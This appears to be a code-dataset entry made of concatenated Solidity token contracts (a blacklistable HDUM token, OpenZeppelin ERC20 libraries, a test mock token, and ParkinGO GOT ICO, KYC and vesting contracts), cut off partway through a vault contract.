_coinFactoryAdmins.add(account); emit CoinFactoryAdminRoleAdded(account); } function _removeCoinFactoryAdmin(address account) internal { _coinFactoryAdmins.remove(account); emit CoinFactoryAdminRoleRemoved(account); } } contract CoinFactory is ERC20, CoinFactoryAdminRole { function issue(address account, uint256 amount) public onlyCoinFactoryAdmin returns (bool) { _issue(account, amount); return true; } function redeem(address account, uint256 amount) public onlyCoinFactoryAdmin returns (bool) { _redeem(account, amount); return true; } } contract BlacklistAdminRole is Ownable { using Roles for Roles.Role; event BlacklistAdminAdded(address indexed account); event BlacklistAdminRemoved(address indexed account); Roles.Role private _blacklistAdmins; constructor() internal { _addBlacklistAdmin(msg.sender); } modifier onlyBlacklistAdmin() { require(isBlacklistAdmin(msg.sender), "BlacklistAdminRole: caller does not have the BlacklistAdmin role"); _; } function isBlacklistAdmin(address account) public view returns (bool) { return _blacklistAdmins.has(account); } function addBlacklistAdmin(address account) public onlyOwner { _addBlacklistAdmin(account); } function removeBlacklistAdmin(address account) public onlyOwner { _removeBlacklistAdmin(account); } function renounceBlacklistAdmin() public { _removeBlacklistAdmin(msg.sender); } function _addBlacklistAdmin(address account) internal { _blacklistAdmins.add(account); emit BlacklistAdminAdded(account); } function _removeBlacklistAdmin(address account) internal { _blacklistAdmins.remove(account); emit BlacklistAdminRemoved(account); } } contract Blacklist is ERC20, BlacklistAdminRole { mapping(address => bool) private _blacklist; event BlacklistAdded(address indexed account); event BlacklistRemoved(address indexed account); function addBlacklist(address[] memory accounts) public onlyBlacklistAdmin returns (bool) { for (uint256 i = 0; i < accounts.length; i++) { _addBlacklist(accounts[i]); } } function removeBlacklist(address[] memory accounts) public onlyBlacklistAdmin returns (bool) { for (uint256 i = 0; i < accounts.length; i++) { _removeBlacklist(accounts[i]); } } function isBlacklist(address account) public view returns (bool) { return _blacklist[account]; } function _addBlacklist(address account) internal { _blacklist[account] = true; emit BlacklistAdded(account); } function _removeBlacklist(address account) internal { _blacklist[account] = false; emit BlacklistRemoved(account); } } contract HDUMToken is ERC20, ERC20Pausable, CoinFactory, Blacklist { string public name; string public symbol; uint8 public decimals; uint256 private _totalSupply; constructor( string memory _name, string memory _symbol, uint8 _decimals ) public { _totalSupply = 0; name = _name; symbol = _symbol; decimals = _decimals; } function transfer(address to, uint256 value) public override(ERC20, ERC20Pausable) whenNotPaused returns (bool) { require(!isBlacklist(msg.sender), "HDUMToken: caller in blacklist can't transfer"); require(!isBlacklist(to), "HDUMToken: not allow to transfer to recipient address in blacklist"); return super.transfer(to, value); } function transferFrom( address from, address to, uint256 value ) public override(ERC20, ERC20Pausable) whenNotPaused returns (bool) { require(!isBlacklist(msg.sender), "HDUMToken: caller in blacklist can't transferFrom"); require(!isBlacklist(from), "HDUMToken: from in blacklist can't transfer"); require(!isBlacklist(to), "HDUMToken: not allow to transfer to recipient address in blacklist"); return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public virtual override(ERC20, ERC20Pausable) returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint256 addedValue) public virtual override(ERC20, ERC20Pausable) returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual override(ERC20, ERC20Pausable) returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { Context } from "openzeppelin-solidity/contracts/GSN/Context.sol"; import { IERC20 } from "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol"; contract SafeERC20Wrapper is Context { using SafeERC20 for IERC20; IERC20 private _token; constructor(IERC20 token) public { _token = token; } function transfer(address recipient, uint256 amount) public { _token.safeTransfer(recipient, amount); } function transferFrom( address sender, address recipient, uint256 amount ) public { _token.safeTransferFrom(sender, recipient, amount); } function approve(address spender, uint256 amount) public { _token.safeApprove(spender, amount); } function increaseAllowance(address spender, uint256 amount) public { _token.safeIncreaseAllowance(spender, amount); } function decreaseAllowance(address spender, uint256 amount) public { _token.safeDecreaseAllowance(spender, amount); } function allowance(address owner, address spender) public view returns (uint256) { return _token.allowance(owner, spender); } function balanceOf(address account) public view returns (uint256) { return _token.balanceOf(account); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "openzeppelin-solidity/contracts/token/ERC20/ERC20.sol"; // mock class using ERC20 contract DummyToken is ERC20 { uint256 public constant INITIAL_SUPPLY = 100000000 * (10**18); constructor(string memory name, string memory symbol) public payable ERC20(name, symbol) { _mint(msg.sender, INITIAL_SUPPLY); } function mint(address account, uint256 amount) public { _mint(account, amount); } function burn(address account, uint256 amount) public { _burn(account, amount); } function transferInternal( address from, address to, uint256 value ) public { _transfer(from, to, value); } function approveInternal( address owner, address spender, uint256 value ) public { _approve(owner, spender, value); } }
Gets the current votes balance. _account The address to get votes balance. return The number of current votes./
function getCurrentVotes(address _account) external view returns (uint96) { uint256 numCheckpointsAccount = numCheckpoints[_account]; return numCheckpointsAccount > 0 ? checkpoints[_account][numCheckpointsAccount - 1].votes : 0; }
1,813,870
//File: node_modules\openzeppelin-solidity\contracts\ownership\Ownable.sol pragma solidity ^0.4.23; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } //File: node_modules\openzeppelin-solidity\contracts\lifecycle\Pausable.sol pragma solidity ^0.4.23; /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } //File: node_modules\openzeppelin-solidity\contracts\token\ERC20\ERC20Basic.sol pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } //File: node_modules\openzeppelin-solidity\contracts\token\ERC20\ERC20.sol pragma solidity ^0.4.23; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } //File: node_modules\openzeppelin-solidity\contracts\token\ERC20\SafeERC20.sol pragma solidity ^0.4.23; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } //File: node_modules\openzeppelin-solidity\contracts\ownership\CanReclaimToken.sol pragma solidity ^0.4.23; /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } //File: node_modules\openzeppelin-solidity\contracts\math\SafeMath.sol pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } //File: contracts\ico\KYCBase.sol pragma solidity ^0.4.24; // Abstract base contract contract KYCBase { using SafeMath for uint256; mapping (address => bool) public isKycSigner; mapping (uint64 => uint256) public alreadyPayed; event KycVerified(address indexed signer, address buyerAddress, uint64 buyerId, uint maxAmount); constructor(address[] kycSigners) internal { for (uint i = 0; i < kycSigners.length; i++) { isKycSigner[kycSigners[i]] = true; } } // Must be implemented in descending contract to assign tokens to the buyers. Called after the KYC verification is passed function releaseTokensTo(address buyer) internal returns(bool); // This method can be overridden to enable some sender to buy token for a different address function senderAllowedFor(address buyer) internal view returns(bool) { return buyer == msg.sender; } function buyTokensFor(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) public payable returns (bool) { require(senderAllowedFor(buyerAddress)); return buyImplementation(buyerAddress, buyerId, maxAmount, v, r, s); } function buyTokens(uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) public payable returns (bool) { return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s); } function buyImplementation(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) private returns (bool) { // check the signature bytes32 hash = sha256(abi.encodePacked("Eidoo icoengine authorization", this, buyerAddress, buyerId, maxAmount)); address signer = ecrecover(hash, v, r, s); if (!isKycSigner[signer]) { revert(); } else { uint256 totalPayed = alreadyPayed[buyerId].add(msg.value); require(totalPayed <= maxAmount); alreadyPayed[buyerId] = totalPayed; emit KycVerified(signer, buyerAddress, buyerId, maxAmount); return releaseTokensTo(buyerAddress); } } // No payable fallback function, the tokens must be buyed using the functions buyTokens and buyTokensFor function () public { revert(); } } //File: contracts\ico\ICOEngineInterface.sol pragma solidity ^0.4.24; contract ICOEngineInterface { // false if the ico is not started, true if the ico is started and running, true if the ico is completed function started() public view returns(bool); // false if the ico is not started, false if the ico is started and running, true if the ico is completed function ended() public view returns(bool); // time stamp of the starting time of the ico, must return 0 if it depends on the block number function startTime() public view returns(uint); // time stamp of the ending time of the ico, must retrun 0 if it depends on the block number function endTime() public view returns(uint); // Optional function, can be implemented in place of startTime // Returns the starting block number of the ico, must return 0 if it depends on the time stamp // function startBlock() public view returns(uint); // Optional function, can be implemented in place of endTime // Returns theending block number of the ico, must retrun 0 if it depends on the time stamp // function endBlock() public view returns(uint); // returns the total number of the tokens available for the sale, must not change when the ico is started function totalTokens() public view returns(uint); // returns the number of the tokens available for the ico. At the moment that the ico starts it must be equal to totalTokens(), // then it will decrease. It is used to calculate the percentage of sold tokens as remainingTokens() / totalTokens() function remainingTokens() public view returns(uint); // return the price as number of tokens released for each ether function price() public view returns(uint); } //File: node_modules\openzeppelin-solidity\contracts\token\ERC20\BasicToken.sol pragma solidity ^0.4.23; /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } //File: node_modules\openzeppelin-solidity\contracts\token\ERC20\StandardToken.sol pragma solidity ^0.4.23; /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } //File: node_modules\openzeppelin-solidity\contracts\token\ERC20\MintableToken.sol pragma solidity ^0.4.23; /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } //File: node_modules\openzeppelin-solidity\contracts\token\ERC20\PausableToken.sol pragma solidity ^0.4.23; /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } //File: node_modules\openzeppelin-solidity\contracts\token\ERC20\BurnableToken.sol pragma solidity ^0.4.23; /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } //File: contracts\ico\GotToken.sol /** * @title ParkinGO token * * @version 1.0 * @author ParkinGO */ pragma solidity ^0.4.24; contract GotToken is CanReclaimToken, MintableToken, PausableToken, BurnableToken { string public constant name = "GOToken"; string public constant symbol = "GOT"; uint8 public constant decimals = 18; /** * @dev Constructor of GotToken that instantiates a new Mintable Pausable Token */ constructor() public { // token should not be transferable until after all tokens have been issued paused = true; } } //File: contracts\ico\PGOVault.sol /** * @title PGOVault * @dev A token holder contract that allows the release of tokens to the ParkinGo Wallet. * * @version 1.0 * @author ParkinGo */ pragma solidity ^0.4.24; contract PGOVault { using SafeMath for uint256; using SafeERC20 for GotToken; uint256[4] public vesting_offsets = [ 360 days, 540 days, 720 days, 900 days ]; uint256[4] public vesting_amounts = [ 0.875e7 * 1e18, 0.875e7 * 1e18, 0.875e7 * 1e18, 0.875e7 * 1e18 ]; address public pgoWallet; GotToken public token; uint256 public start; uint256 public released; uint256 public vestingOffsetsLength = vesting_offsets.length; /** * @dev Constructor. * @param _pgoWallet The address that will receive the vested tokens. * @param _token The GOT Token, which is being vested. * @param _start The start time from which each release time will be calculated. */ constructor( address _pgoWallet, address _token, uint256 _start ) public { pgoWallet = _pgoWallet; token = GotToken(_token); start = _start; } /** * @dev Transfers vested tokens to ParkinGo Wallet. */ function release() public { uint256 unreleased = releasableAmount(); require(unreleased > 0); released = released.add(unreleased); token.safeTransfer(pgoWallet, unreleased); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. */ function releasableAmount() public view returns (uint256) { return vestedAmount().sub(released); } /** * @dev Calculates the amount that has already vested. */ function vestedAmount() public view returns (uint256) { uint256 vested = 0; for (uint256 i = 0; i < vestingOffsetsLength; i = i.add(1)) { if (block.timestamp > start.add(vesting_offsets[i])) { vested = vested.add(vesting_amounts[i]); } } return vested; } /** * @dev Calculates the amount that has not yet released. */ function unreleasedAmount() public view returns (uint256) { uint256 unreleased = 0; for (uint256 i = 0; i < vestingOffsetsLength; i = i.add(1)) { unreleased = unreleased.add(vesting_amounts[i]); } return unreleased.sub(released); } } //File: contracts\ico\PGOMonthlyInternalVault.sol /** * @title PGOMonthlyVault * @dev A token holder contract that allows the release of tokens after a vesting period. * * @version 1.0 * @author ParkinGO */ pragma solidity ^0.4.24; contract PGOMonthlyInternalVault { using SafeMath for uint256; using SafeERC20 for GotToken; struct Investment { address beneficiary; uint256 totalBalance; uint256 released; } /*** CONSTANTS ***/ uint256 public constant 